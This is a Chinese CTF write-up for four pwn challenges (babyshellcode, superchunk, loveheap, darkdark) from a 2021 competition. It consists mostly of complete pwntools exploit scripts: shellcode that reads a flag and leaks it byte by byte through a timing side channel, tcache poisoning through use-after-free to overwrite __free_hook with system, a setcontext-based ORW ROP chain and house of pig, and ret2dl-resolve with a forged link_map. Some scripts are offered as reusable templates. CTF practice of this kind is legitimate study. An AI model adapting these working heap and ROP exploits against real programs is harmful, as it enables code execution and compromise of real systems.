1. 程式人生 > 其它 >2021能源PWN wp

2021能源PWN wp

babyshellcode

這題考無write洩露,write被沙盒禁用時,可以考慮延時盲注的方式獲得flag,此exp可作為此型別題目模版,只需要修改部分引數即可,詳細見註釋

from pwn import *
from pwn import p64,u64,p32,u32,p8
from pwnlib import timeout

context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

# elf = ELF('./chall')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# libc = ELF('')

io = process('./chall')

# 引數分別為:讀取的記憶體地址、按位元組增長偏移、ascii值
def exp(targetAddr,offset,ch):
    io.recvuntil('Are you a shellcode master?')
    # 開啟flag檔案,
    # open('flag',0)
    op = asm("""mov rax,0x67616c66
    push rax
    mov rdi,rsp
    push 2
    pop rax
    push 0
    pop rsi
    syscall
    """)

    # 讀取flag到指定記憶體中,
    # read(3,targetAddr,0x30)
    rd = asm("""push 0
    pop rax
    push {}
    pop rsi
    push 3
    pop rdi
    push 0x30
    pop rdx
    syscall
    """.format(hex(targetAddr)))

    # 對flag進行比較,如果不相同則直接返回,會直接EOF,
    # 如果相同會進入死迴圈達到延時效果,依靠EOF時間來判斷flag值是否相同
    wt = asm("""mov rsi,{2}
    cmp byte ptr [rsi+{0}],{1}
    jz $-10
    ret
    """.format(hex(offset),hex(ch),hex(targetAddr)))

    # 讀取足夠長度payload到可執行段中,
    # read(0,0x10014,0x100)
    sh = asm("""push 0
    pop rax
    push 0x10014
    pop rsi
    push 0x100
    pop rdx
    push 0
    pop rdi
    syscall
    """)
    payload = sh
    io.send(payload)
    pl2 = op
    pl2 += rd
    pl2 += wt

    sleep(0.1)
    io.send(pl2)

#flag = 'flag{7DSR6JunIeMwgTz2UyVQobsthxkKEp4L}'
# 外層迴圈為位,按位爆破
for i in range(37,0x30):
    # 內層迴圈為ascii碼
    for c in range(0x20,128):
        io = process('./chall')
        # io = remote('106.14.120.231','26985')
        exp(0x10500,i,c)
        print('now==>',chr(c))
        try:
            io.interactive()
            io.close()
        except:
            io.close()
            continue

superchunk

用UAF編輯已釋放堆塊的fd和bk來繞過tcache double free的檢查,然後將堆塊重疊到tcache bin連結串列頭部,此時tcache bin裡面會多出很多雜亂的內容,想辦法讓其合併,然後裡面就有了main_arena的地址,再對地址進行爆破,得到stdout地址,修改flag,洩露libc,最後將__free_hook內寫入system,呼叫free時就會呼叫system("/bin/sh")

from pwn import *
from pwn import p64,u64,p32,u32,p8,p16

context.arch = 'amd64'
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

# elf = ELF('./superchunk')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

io = process('./superchunk')
# io = remote('106.14.120.231','22521')

def add(size):
    io.sendlineafter('Your choice: ','1')
    io.sendlineafter('Size: ', str(size))

def delete():
    io.sendlineafter('Your choice: ','4')

def edit(content):
    io.sendlineafter('Your choice: ','2')
    io.sendafter('Content: ', content)

def recv():
     leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
     return leak

atoi = 0x602058

def exp():
    add(0x100)
    delete()
    edit('a'*0x10)
    delete()
    edit(p16(0x3010))
    add(0x100)
    add(0x100)
    edit('\x00'*0x23+'\x06')
    delete()
    edit('a'*0x10)
    delete()
    add(0x80)
    delete()
    add(0x100)
    edit(p16(0xe760))
    add(0xb0)
    edit(p64(0xfbad3887)+p64(0)*3+p8(0))
    leak = recv()
    info(hex(leak))

    libc_base = leak - libc.sym['__free_hook']+0x38
    info(hex(libc_base))

    system = libc_base + libc.sym['system']
    free_hook = libc.sym['__free_hook']+libc_base
    add(0x80)
    edit(b'\x03'+b'\x00'*0x3f+p64(free_hook))
    add(0x10)
    edit(p64(system))
    add(0x20)
    edit('/bin/sh\x00')
    delete()
    

while 1:
    try:
        exp()
        io.sendline('cat flag')
        content = io.recv()
        print('flag========%s'%content)
        break
    except:
        io.close()
        io = process('./superchunk')

loveheap

程式漏洞點為UAF,可以申請0x40個堆塊,每個堆塊大小最大為0x200,無法使用largebin attack。總結了一下大概可以用三種方式來解題:

  1. tcache stash unlink attack 在free_hook 附近寫入一個main_arena的值,此時有0x7f的chunk size可以用,直接申請到free_hook,然後寫入setcontext函式,利用setcontxt的rdi構造好rdx的值,注意rcx需要是一個可讀地址,隨便寫入一個堆塊地址都行。在setcontext時就可以控制rdx的值了,在堆塊中構造ROP鏈來orw。下面的exp也是用的這種方法。
  2. house of pig,這種方式已經在exp裡面寫好了,可以呼叫system("/bin/sh")
    ,此題開了沙箱,無法獲取shell,需要改為orw的方式。暫時還不會改,學會了再來完善。
  3. 洩露地址後,用tcache stash unlink attack在修改global_max_fast的值為main_arena的值,那麼此時申請的堆塊大小都是fastbin,然後從libc裡的IO結構體一路申請到free_hook,把free_hook改為setcontext,之後和方法一的過程一樣。這種方式可以在限制了申請大小的情況下進行fastbin attack。
from pwn import *
from pwn import p64,u64,p32,u32,p8,p16

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

# elf = ELF('./loveheap')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')

io = process('./loveheap')

def add(size):
    io.sendlineafter('>>','1')
    io.sendlineafter('Please input the size\n', str(size))

def delete(idx):
    io.sendlineafter('>>','2')
    io.sendlineafter('Pls input the idx\n', str(idx))

def edit(idx,content):
    io.sendlineafter('>>','3')
    io.sendlineafter('Pls input the idx\n', str(idx))
    io.sendafter('Pls input the content:\n', content)

def show(idx):
    io.sendlineafter('>>','4')
    io.sendlineafter('Pls input the idx\n', str(idx))

def recv(flag='libc'):
    if flag=='heap':
        leak = u64(io.recv(6).ljust(8,b'\x00'))
        return leak
    else:
        leak = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
        return leak

def exp():
    for i in range(9):
        add(0x200)

    for i in range(7):
        delete(i)

    delete(7)
    show(7)
    leak = recv()
    info(hex(leak))
    libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96
    info(hex(libc_base))
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    info(hex(malloc_hook))
    for i in range(9):
        add(0x68)

    for i in range(9):
        delete(i+8)

    edit(16,p64(malloc_hook-0x33))
    add(0x68)

    setcontext = libc_base + libc.sym['setcontext']

    '''
    .text:0000000000157D8A                 mov     rbp, [rdi+48h]
    .text:0000000000157D8E                 mov     rax, [rbp+18h]
    .text:0000000000157D92                 lea     r13, [rbp+10h]
    .text:0000000000157D96                 mov     dword ptr [rbp+10h], 0
    .text:0000000000157D9D                 mov     rdi, r13
    .text:0000000000157DA0                 call    qword ptr [rax+28h]
    '''
    max_fast = libc_base + libc.sym['global_max_fast']

    add(0x68)
    add(0x200)

    gdb.attach(io,'b calloc')
    add(0x10)

def exp2():
    for i in range(8):
        add(0x68) # 0-7
        delete(i)

    for i in range(6):
        add(0x90)       # 8-13
    for i in range(6):
        delete(i+8)

    for i in range(7):
        add(0x190)      # 14-20
    for i in range(7):
        delete(i+14)

    for i in range(7):
        add(0xe0)       # 21-27
    for i in range(7):
        delete(i+21)

    add(0x190) # 28
    add(0x1f0) # 29
    add(0x190) # 30
    add(0x1f0) # 31
    delete(28)
    show(28)
    libc_base = recv() - 96 - libc.sym['__malloc_hook'] - 0x10
    libc.address = libc_base
    # global_max_fast = libc_base + 0x1eeb80
    info(hex(libc.sym['system']))

    show(2)
    heap_base = recv('heap') - 0x2a0 - 0x70
    info(hex(heap_base))
    add(0xf0) # 32
    delete(30)
    add(0xf0) # 33
    add(0x190) # 34
    
    edit(30,b'a'*0xf0+p64(0)+p64(0xa1)+p64(heap_base+0x1cc0)+p64(libc.sym['__free_hook']-0x30))
    add(0x90) # 35

    # ---fastbin attack---#
    edit(7,p64(libc.sym['__free_hook']-0x23))
    add(0x68) # 36
    add(0x68) # 37

    prdi = 0x0000000000026b72 + libc_base #: pop rdi ; ret
    prsi = 0x0000000000027529 + libc_base #: pop rsi ; ret
    prdx = 0x000000000011c371 + libc_base #: pop rdx ; pop r12 ; ret
    ret = 0x0000000000044148 + libc_base#: xor eax, eax ; ret
    edit(29,'flag')

    payload = p64(prdi)+p64(heap_base+0x1d70)+p64(prsi)+p64(0)+p64(libc.sym['open'])
    payload += p64(prdi) + p64(3) + p64(prsi)+p64(heap_base+0x1cd0)+p64(prdx)+p64(0x30)+p64(0)+p64(libc.sym['read'])
    payload += p64(prdi) +p64(1)+p64(prsi)+p64(heap_base+0x1cd0)+p64(prdx)+p64(0x30)+p64(0)+p64(libc.sym['write'])
    edit(31,payload)

    edit(8, p64(0)*6+p64(heap_base+0x2110)+p64(ret)+p64(0)*6+p64(heap_base+0x5b0)) #堆塊31,大小0x200

    edit(37,b'a'*19+p64(libc.sym['setcontext'])) # mov    r12, QWORD PTR [rdx+0x48]
    # gdb.attach(io)
    delete(36)

def house_of_pig():
    # ----step 1 . leak info----#
    for i in range(8): # 0-7
        add(0x90)
    for i in range(7):
        delete(i+1)

    delete(0)
    show(0)
    leak = recv()
    libc_base = leak - libc.sym['__malloc_hook'] - 96 -0x10
    info(hex(libc_base))

    show(2)
    heap_addr = recv('heap') - 0x340
    info(hex(heap_addr))

    setcontext = libc_base + libc.sym['setcontext'] + 61
    system = libc_base + libc.sym['system']
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    free_hook = libc_base + libc.sym['__free_hook']
    io_list_all = libc_base + libc.sym['_IO_list_all']

    #----step 2 . 準備tcache stash unlink attack----#
    for i in range(6): # 8-13    size:0xb0
        add(0xa0)

    for i in range(9): # 14-22   size:0x1b0
        add(0x1a0)

    for i in range(7):
        delete(22-i) # free 22 ~ 16   size:0x1b0

    delete(15)      # size:0x1b0,放入unsorted bin
    add(0xf0)       # size:0x100,unsorted bin被切割,剩餘大小0xb0
    add(0x1f0)      # size:0x200,把0xb0放入small bin
    delete(14)      # size:0x1b0,放入unsorted bin(在15和14中間出現0x100的堆塊)
    add(0xf0)       # size:0x100,unsorted bin被切割,剩餘大小0xb0
    add(0x1f0)      # size:0x200,把0xb0放入small bin

    for i in range(6):
        delete(8+i) # free 8 ~ 13    size:0xb0,6個0xb0被放入tcache

    edit(14,b'a'*0xf8+p64(0xb1)+p64(heap_addr+0xe60)+p64(io_list_all-0x10)) # 編輯0xb0 small bin的fd指標指向heap_addr+0xe60,bk指向io_list_all-0x10
    add(0xa0) # 把small bin申請回來,io_list_all會填入一個main_arena的地址

    #---- step 3 .構造_IO_FILE_plus結構體 ----#
    for i in range(9):
	    add(0xf0)  # 28-36    size:0x100

    for i in range(7):
	    delete(i+28) # free 28 ~ 34    size:0x100

    delete(35) # size:0x100,放入unsorted bin
    add(0x1f0) # size:0x200,把0x100 大小的unsorted bin放入small bin

    payload = p64(0)*2+p64(0)+p64(heap_addr+0x1940)+p64(0) #rdx chunk 22
    payload += p64(heap_addr+0x330)+p64(heap_addr+22+0x330)+p64(0)*4 #size 90
    payload += p64(heap_addr+0xbb0)+p64(0)+p64(0)+b"\x00"*8 #chain 14
    payload += p64(0)*4+b"\x00"*48
    payload += p64(0x1ed560+libc_base) # _IO_str_jumps
    edit(35, payload)  # **Fake IO_FILE_plus1(malloc(0x90))**

    edit(1, p64(setcontext)+p64(setcontext))
    delete(1)   # 刪除此堆塊後,tcache中連結串列頭部會被寫入setcontext函式的地址 

    add(0x130)  # 38
    edit(38,b'a'*0x88+p64(0x21)*3+p64(0x21)*2+p64(setcontext)+p64(setcontext)+p64(0x21)*2)
    edit(7, p64(malloc_hook))

    payload = p64(0)*2+p64(0)+p64(heap_addr+0x1940)+p64(0) #rdx 22
    payload += p64(heap_addr+0x350)+p64(heap_addr+22+0x350)+p64(0)*4 #size 90
    payload += p64(heap_addr+0xf10)+p64(0)+p64(0)+b"\x00"*8 #chain 16
    payload += p64(0)*4+b"\x00"*48
    payload += p64(0x1ed560+libc_base)#_IO_str_jumps
    edit(14,payload)#Fake IO_FILE_plus2(malloc(0x90) && hijack malloc_hook = setcontext)

    binsh_addr = libc_base + next(libc.search(b'/bin/sh\0'))

    frame = SigreturnFrame()
    frame.rsp = (free_hook&0xfffffffffffff000)+8#16位元組對齊
    frame.rdi = binsh_addr
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = system
    edit(22, bytes(frame))  # 22

    payload = p64(0)*2+p64(0)+p64(heap_addr+0x1940)+p64(0) #rdx 22
    payload += p64(heap_addr+0x370)+p64(heap_addr+22+0x370)+p64(0)*4 #size 90
    payload += p64(0)+p64(0)+p64(0)+b"\x00"*8 #chain 17
    payload += p64(0)*4+b"\x00"*48
    payload += p64(0x1ed560+libc_base)#_IO_str_jumps
    edit(16,payload)#srop
    gdb.attach(io) 
    io.recvuntil('>>')
    io.sendline('5')

# house_of_pig()
exp2()
io.interactive()

darkdark

ret2dl-resolve,直接套用模版,改一下總體偏移和gadget地址就可以了

  • partial RELRO,這是正確的exp,最後附上NO RELRO的模版

    from pwn import *
    from pwn import p64,p32
    context(os='linux', arch='amd64', log_level='debug')
    context.terminal=['tmux','sp','-h']
    
    r = process('./darkdark')
    elf = ELF('./darkdark')
    libc = ELF('./libc-2.27.so')
    read_plt = elf.plt['read']
    read_got = elf.got['read']
    
    #bss
    bss = 0x601038
    bss_stage = bss + 0x200
    l_addr = libc.sym['system'] - libc.sym['read']  # l_addr 通常為負數
    
    pop_rdi = 0x4005d3 #: pop rdi ; ret
    pop_rsi = 0x4005d1 #: pop rsi ; pop r15 ; ret
    #用於解析符號dl_runtime_resolve
    plt_load = 0x400426
    
    def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):
        # &(2**64-1)是因為offset為負數,如果不控制範圍,p64後會越界,發生錯誤
        linkmap = p64(offset & (2 ** 64 - 1))  # l_addr
    
        # fake_linkmap_addr + 8,也就是DT_JMPREL,至於為什麼有個0,可以參考IDA上.dyamisc的結構內容
        linkmap += p64(0)  # 可以為任意值
        linkmap += p64(fake_linkmap_addr + 0x18)  # 這裡的值就是偽造的.rel.plt的地址
    
        # fake_linkmap_addr + 0x18,fake_rel_write,因為write函式push的索引是0,也就是第一項
        # Rela->r_offset,正常情況下這裡應該存的是got表對應條目的地址,解析完成後在這個地址上存放函式的實際地址,此處我們只需要設定一個可讀寫的地址即可
        linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
        linkmap += p64(0x7)  # Rela->r_info,用於索引symtab上的對應項,7>>32=0,也就是指向symtab的第一項
        linkmap += p64(0)  # Rela->r_addend,任意值都行
    
        linkmap += p64(0)  # l_ns
    
        # fake_linkmap_addr + 0x38, DT_SYMTAB
        linkmap += p64(0)  # 參考IDA上.dyamisc的結構
        # 這裡的值就是偽造的symtab的地址,為已解析函式的got表地址-0x8
        linkmap += p64(known_func_ptr - 0x8)
    
        linkmap += b'/bin/sh\x00'
        linkmap = linkmap.ljust(0x68, b'A')
        # fake_linkmap_addr + 0x68, 對應的值的是DT_STRTAB的地址,由於我們用不到strtab,所以隨意設定了一個可讀區域
        linkmap += p64(fake_linkmap_addr)
        # fake_linkmap_addr + 0x70 , 對應的值是DT_SYMTAB的地址
        linkmap += p64(fake_linkmap_addr + 0x38)
        linkmap = linkmap.ljust(0xf8, b'A')
        # fake_linkmap_addr + 0xf8, 對應的值是DT_JMPREL的地址
        linkmap += p64(fake_linkmap_addr + 0x8)
        return linkmap
    
    fake_link_map = fake_Linkmap_payload(bss_stage, read_got, l_addr)  # 偽造link_map
    
    payload = flat('A' * 0x38, pop_rdi, 0, pop_rsi, bss_stage, 0, read_plt,  # 把link_map寫到bss段上
                   pop_rsi, 0, 0,                                           # 使棧十六位元組對齊,不然調用不了system
    
                   # 把/bin/sh傳進rdi,並且呼叫_dl_rutnime_resolve函式,傳入偽造好的link_map和索引
                    pop_rdi, bss_stage + 0x48, plt_load, bss_stage, 0)
    
    r.sendline(payload)
    # gdb.attach(r)
    
    r.send(fake_link_map)
    
    r.interactive()
    
  • no RELRO,這只是模版,打不通的!!!

    from pwn import *
    from pwn import p64, u64, p32
    context.update(os='linux', arch='amd64')
    context.log_level = 'debug'
    context.terminal = ['tmux', 'sp', '-h']
    
    p = process('./darkdark')
    
    universal_gadget1 = 0x4005CA
    universal_gadget2 = 0x4005B0
    
    main_got = 0x400474             # __libc_start_main GOT(PLT)
    pop_rdi_ret = 0x4005d3          #: pop rdi ; ret
    jmp_dl_fixup = 0x400426          # jmp     cs:qword_601010
    pop_rbp_ret = 0x4004b8          #: pop rbp ; ret
    leave_ret = 0x400564            #: leave ; ret
    read_got = 0x601020
    bss = 0x601038
    new_stack_addr = bss+0x500
    fake_link_map_addr = bss+0x500+0x30
    prsi = 0x4005d1                 #: pop rsi ; pop r15 ; ret
    
    # libc中已解析函式與想要執行的目標函式的偏移值,如 addr_system-addr_xxx
    offset = 0x2da40  
    
    libc_start_main = 0x600FF0
    
    ############## csu gadget #############
    payload = b""
    payload += b'A'*(0x30+0x8)      # padding
    payload += p64(universal_gadget1)
    payload += p64(0x0)
    payload += p64(0x1)
    payload += p64(read_got)
    payload += p64(0)
    payload += p64(new_stack_addr)
    payload += p64(0x300)
    payload += p64(universal_gadget2)
    payload += b'A'*56
    
    payload += p64(pop_rbp_ret)
    payload += p64(new_stack_addr)
    payload += p64(leave_ret)
    p.send(payload)
    sleep(0.5)
    
    ############# fake Elf64_Dyn #############
    '''
    Elf64_Dyn{
        d_tag           dq
        d_un            dq
    }
    '''
    fake_Elf64_Dyn = b""
    fake_Elf64_Dyn += p64(0)  # d_tag  從link_map中找.rel.plt不需要用到標籤, 隨意設定
    
    # d_ptr  指向偽造的Elf64_Rela結構體,由於reloc_offset也被控制為0,不需要偽造多個結構體
    fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18+0x18)
    ##########################################
    
    ############# fake  Elf64_Rela ###########
    '''
    Elf64_Rela{
        r_offset        dq
        r_info          dq
        r_addend        dq
    }
    '''
    fake_Elf64_Rela = b""
    
    # r_offset rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可讀寫就行
    fake_Elf64_Rela += p64(fake_link_map_addr + offset+0x18)
    fake_Elf64_Rela += p64(7)               # r_info index設定為0,最後一位元組必須為7
    fake_Elf64_Rela += p64(0)               # r_addend  隨意設定
    ###########################################
    
    ############# fake Elf64_Sym #############
    '''
    Elf64_Sym{
        st_name         dd
        st_info         db
        st_other        db
        st_shndx        dw
        st_value        dq
        st_size         dq
    }
    '''
    fake_Elf64_Sym = b""
    fake_Elf64_Sym += p32(0)                # st_name 隨意設定
    
    # st_info, st_other, st_shndx st_other非0以避免進入重定位符號的分支
    fake_Elf64_Sym += b'AAAA'
    
    # st_value 已解析函式的got表地址-8,-8體現在彙編程式碼中,原因不明
    fake_Elf64_Sym += p64(libc_start_main-8)
    fake_Elf64_Sym += p64(0)                # st_size 隨意設定
    ##########################################
    
    ############# link_map ####################
    fake_link_map_data = b""
    fake_link_map_data += p64(offset)                         # l_addr,偽造為兩個函式的地址偏移值
    fake_link_map_data += fake_Elf64_Dyn
    fake_link_map_data += fake_Elf64_Rela
    fake_link_map_data += fake_Elf64_Sym
    fake_link_map_data += b'\x00'*0x20
    fake_link_map_data += p64(fake_link_map_addr+0x18)        # DT_STRTAB 設定為一個可讀的地址
    fake_link_map_data += p64(fake_link_map_addr + 0x30+0x18) # DT_SYMTAB 指向對應結構體陣列的地址
    fake_link_map_data += b"/bin/sh\x00"
    fake_link_map_data += b'\x00'*0x78
    fake_link_map_data += p64(fake_link_map_addr + 0x8+0x18)  # DT_JMPREL 指向對應陣列結構體的地址
    ###########################################
    
    payload = b""
    payload += b"BBBBBBBB"
    payload += p64(prsi) + p64(0)*2  # 清暫存器,否則/bin/sh呼叫失敗
    payload += p64(pop_rdi_ret)
    payload += p64(fake_link_map_addr+0x78+0x18)  # /bin/sh\x00地址
    
    # 用jmp跳轉到_dl_fixup,link_map和reloc_offset都由我們自己偽造
    payload += p64(jmp_dl_fixup)
    payload += p64(fake_link_map_addr+0x18)    # 偽造的link_map地址
    payload += p64(0)             # 偽造的reloc_offset
    payload += fake_link_map_data
    
    gdb.attach(p)
    p.send(payload)
    p.interactive()